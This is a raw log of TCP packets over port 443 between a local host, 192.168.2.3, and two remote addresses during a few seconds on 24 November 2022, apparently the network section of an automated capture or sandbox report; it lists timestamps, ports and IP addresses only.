Nov 24, 2022 16:58:39.003587961 CET	49826	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.003952026 CET	49826	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.003968954 CET	443	49826	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:39.004095078 CET	443	49826	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:39.043106079 CET	443	49825	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.045455933 CET	49825	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.046175003 CET	49825	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.046199083 CET	443	49825	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.051008940 CET	49825	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.051027060 CET	443	49825	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.128587008 CET	49827	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.128648043 CET	443	49827	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:39.128732920 CET	49827	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.134871006 CET	49827	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.134922981 CET	443	49827	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:39.135020971 CET	443	49827	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:39.158087015 CET	443	49825	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.158421993 CET	49825	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.158458948 CET	443	49825	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.158607960 CET	49825	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.163474083 CET	49825	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.163589001 CET	443	49825	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.163657904 CET	49825	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.775319099 CET	49828	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.775386095 CET	443	49828	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:39.775470018 CET	49828	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.778778076 CET	49828	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.778819084 CET	443	49828	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:39.778943062 CET	443	49828	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:39.845520973 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.845588923 CET	443	49829	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.845696926 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.846477032 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.846507072 CET	443	49829	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.910840988 CET	443	49829	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.910999060 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.930010080 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.930078030 CET	443	49829	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.930915117 CET	443	49829	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.932291985 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.933018923 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:39.933043003 CET	443	49829	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.968549967 CET	49830	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.968614101 CET	443	49830	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:39.968693972 CET	49830	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.969057083 CET	49830	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.969085932 CET	443	49830	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:39.969180107 CET	443	49830	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:40.034446955 CET	443	49829	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.036919117 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.036956072 CET	443	49829	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.037040949 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.039889097 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.040088892 CET	443	49829	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.040535927 CET	443	49829	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.040637970 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.041280031 CET	49829	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.517771006 CET	49831	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:40.517853975 CET	443	49831	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:40.517950058 CET	49831	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:40.558809996 CET	49831	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:40.558871984 CET	443	49831	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:40.559113979 CET	443	49831	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:40.674391985 CET	49832	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.674458981 CET	443	49832	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.674554110 CET	49832	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.675738096 CET	49832	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.675781012 CET	443	49832	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.734757900 CET	443	49832	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.734946012 CET	49832	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.748234034 CET	49832	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.748280048 CET	443	49832	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.748722076 CET	443	49832	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.749144077 CET	49832	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.749753952 CET	49832	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.749768972 CET	443	49832	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.753707886 CET	49833	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:40.753774881 CET	443	49833	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:40.753884077 CET	49833	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:40.754221916 CET	49833	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:40.754251957 CET	443	49833	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:40.754301071 CET	443	49833	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:40.868005037 CET	49834	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:40.868084908 CET	443	49834	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:40.868201017 CET	49834	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:40.868623018 CET	49834	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:40.868660927 CET	443	49834	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:40.868719101 CET	443	49834	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:40.879414082 CET	443	49832	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.879533052 CET	443	49832	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:40.879534960 CET	49832	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.879595995 CET	49832	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.888784885 CET	49832	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:40.888833046 CET	443	49832	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:43.865530968 CET	49835	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:43.865580082 CET	443	49835	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:43.865695000 CET	49835	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:43.866039991 CET	49835	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:43.866065979 CET	443	49835	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:43.866142035 CET	443	49835	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:43.928375006 CET	49836	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:43.928426981 CET	443	49836	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:43.928495884 CET	49836	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:43.929188013 CET	49836	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:43.929234982 CET	443	49836	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:43.985930920 CET	443	49836	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:43.986037016 CET	49836	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:43.986668110 CET	49836	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:43.986677885 CET	443	49836	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:43.993081093 CET	49836	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:43.993100882 CET	443	49836	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.050896883 CET	49838	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.050971031 CET	443	49838	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.051058054 CET	49838	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.051466942 CET	49838	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.051498890 CET	443	49838	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.051553965 CET	443	49838	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.130912066 CET	443	49836	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.131040096 CET	49836	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.131058931 CET	443	49836	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.131115913 CET	49836	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.131340027 CET	49836	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.131428957 CET	443	49836	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.131500959 CET	49836	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.160382032 CET	49839	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.160437107 CET	443	49839	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.160510063 CET	49839	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.160860062 CET	49839	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.160876036 CET	443	49839	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.160969019 CET	443	49839	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.243674994 CET	49840	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.243757963 CET	443	49840	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.243855000 CET	49840	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.244492054 CET	49840	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.244527102 CET	443	49840	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.269697905 CET	49841	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.269761086 CET	443	49841	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.269835949 CET	49841	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.270165920 CET	49841	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.270204067 CET	443	49841	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.270292997 CET	443	49841	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.301990986 CET	443	49840	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.302108049 CET	49840	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.349678040 CET	49840	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.349719048 CET	443	49840	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.350639105 CET	443	49840	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.350743055 CET	49840	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.351372004 CET	49840	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.351382017 CET	443	49840	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.379009008 CET	49842	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.379061937 CET	443	49842	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.379138947 CET	49842	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.379524946 CET	49842	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.379554033 CET	443	49842	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.379616976 CET	443	49842	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.415158033 CET	443	49840	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.415256023 CET	49840	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.415271997 CET	443	49840	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.415313959 CET	443	49840	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.415388107 CET	49840	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.434634924 CET	49840	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:44.434660912 CET	443	49840	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:44.931734085 CET	49843	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.931786060 CET	443	49843	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.931855917 CET	49843	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.932303905 CET	49843	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:44.932326078 CET	443	49843	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:44.932434082 CET	443	49843	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.113624096 CET	49844	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.113706112 CET	443	49844	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.114015102 CET	49844	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.114847898 CET	49844	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.114865065 CET	443	49844	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.146040916 CET	49845	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.146104097 CET	443	49845	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.146209002 CET	49845	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.146579981 CET	49845	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.146612883 CET	443	49845	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.146691084 CET	443	49845	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.168684006 CET	443	49844	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.168797016 CET	49844	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.176759005 CET	49844	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.176799059 CET	443	49844	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.193149090 CET	49844	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.193190098 CET	443	49844	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.319058895 CET	443	49844	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.319219112 CET	443	49844	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.319375992 CET	49844	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.323937893 CET	49844	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.323982000 CET	443	49844	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.364968061 CET	49846	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.365036964 CET	443	49846	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.365124941 CET	49846	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.365478992 CET	49846	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.365510941 CET	443	49846	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.365631104 CET	443	49846	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.462403059 CET	49847	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.462467909 CET	443	49847	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.462553024 CET	49847	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.466047049 CET	49847	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.466080904 CET	443	49847	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.517546892 CET	443	49847	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.517709017 CET	49847	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.521291018 CET	49847	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.521307945 CET	443	49847	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.525291920 CET	49847	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.525312901 CET	443	49847	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.554868937 CET	49848	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.554946899 CET	443	49848	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.555054903 CET	49848	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.557548046 CET	49848	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.557605028 CET	443	49848	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.557687998 CET	443	49848	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.713325977 CET	49849	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.713413954 CET	443	49849	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.713506937 CET	49849	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.713848114 CET	49849	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.713885069 CET	443	49849	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.713948965 CET	443	49849	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.727097034 CET	443	49847	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.727466106 CET	49847	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.727495909 CET	443	49847	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.727617979 CET	49847	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.732539892 CET	49847	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.732657909 CET	443	49847	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.732738972 CET	49847	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.834263086 CET	49850	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.834300995 CET	443	49850	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.834400892 CET	49850	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.834789991 CET	49850	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.834815025 CET	443	49850	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.834935904 CET	443	49850	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.880263090 CET	49851	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.880319118 CET	443	49851	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.880419016 CET	49851	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.881354094 CET	49851	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.881385088 CET	443	49851	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.935837984 CET	443	49851	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.935930967 CET	49851	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.951467037 CET	49851	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.951498032 CET	443	49851	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.951778889 CET	49852	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.951865911 CET	443	49852	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.951981068 CET	49852	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.952255011 CET	443	49851	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:45.952316046 CET	49852	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:45.952331066 CET	49851	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.952358007 CET	443	49852	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.952431917 CET	443	49852	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:45.972279072 CET	49851	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:45.972300053 CET	443	49851	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.057557106 CET	443	49851	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.057709932 CET	443	49851	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.057743073 CET	49851	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.057773113 CET	49851	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.057975054 CET	49851	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.058001995 CET	443	49851	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.082868099 CET	49853	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:46.082950115 CET	443	49853	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:46.083059072 CET	49853	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:46.083393097 CET	49853	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:46.083424091 CET	443	49853	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:46.083493948 CET	443	49853	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:46.170197964 CET	49854	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.170249939 CET	443	49854	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.170336962 CET	49854	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.170809984 CET	49854	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.170831919 CET	443	49854	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.207333088 CET	49855	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:46.207397938 CET	443	49855	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:46.207479954 CET	49855	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:46.207830906 CET	49855	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:46.207868099 CET	443	49855	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:46.207948923 CET	443	49855	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:46.221421957 CET	443	49854	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.221493959 CET	49854	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.234707117 CET	49854	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.234747887 CET	443	49854	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.258157015 CET	49854	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.258181095 CET	443	49854	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.347471952 CET	443	49854	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.347629070 CET	443	49854	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.347680092 CET	49854	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.347681046 CET	49854	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.349349022 CET	49854	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:46.349378109 CET	443	49854	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:46.896445036 CET	49856	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:46.896498919 CET	443	49856	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:46.896589994 CET	49856	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:46.919472933 CET	49856	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:46.919512033 CET	443	49856	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:46.919667006 CET	443	49856	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:47.024743080 CET	49857	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.024802923 CET	443	49857	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.024899960 CET	49857	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.025444031 CET	49857	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.025463104 CET	443	49857	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.077657938 CET	443	49857	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.078201056 CET	49857	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.081639051 CET	49857	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.081667900 CET	443	49857	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.085916996 CET	49857	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.085939884 CET	443	49857	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.116986990 CET	49858	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:47.117042065 CET	443	49858	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:47.117117882 CET	49858	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:47.117470980 CET	49858	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:47.117489100 CET	443	49858	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:47.117564917 CET	443	49858	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:47.209814072 CET	443	49857	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.209994078 CET	49857	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.210027933 CET	443	49857	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.210093975 CET	49857	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.210401058 CET	443	49857	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.210486889 CET	49857	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.219111919 CET	49857	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.219146013 CET	443	49857	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.809392929 CET	49859	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:47.809463978 CET	443	49859	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:47.809798956 CET	49859	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:47.825015068 CET	49859	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:47.825051069 CET	443	49859	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:47.825176001 CET	443	49859	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:47.904458046 CET	49860	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.904525042 CET	443	49860	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.904640913 CET	49860	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.985559940 CET	49860	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:47.985603094 CET	443	49860	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:47.988698959 CET	49861	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:47.988755941 CET	443	49861	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:47.988837004 CET	49861	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:47.989221096 CET	49861	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:47.989238024 CET	443	49861	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:47.989310980 CET	443	49861	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:48.039546967 CET	443	49860	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:48.039657116 CET	49860	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:48.065238953 CET	49860	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:48.065283060 CET	443	49860	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:48.074311972 CET	49860	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:48.074337959 CET	443	49860	172.66.43.60	192.168.2.3
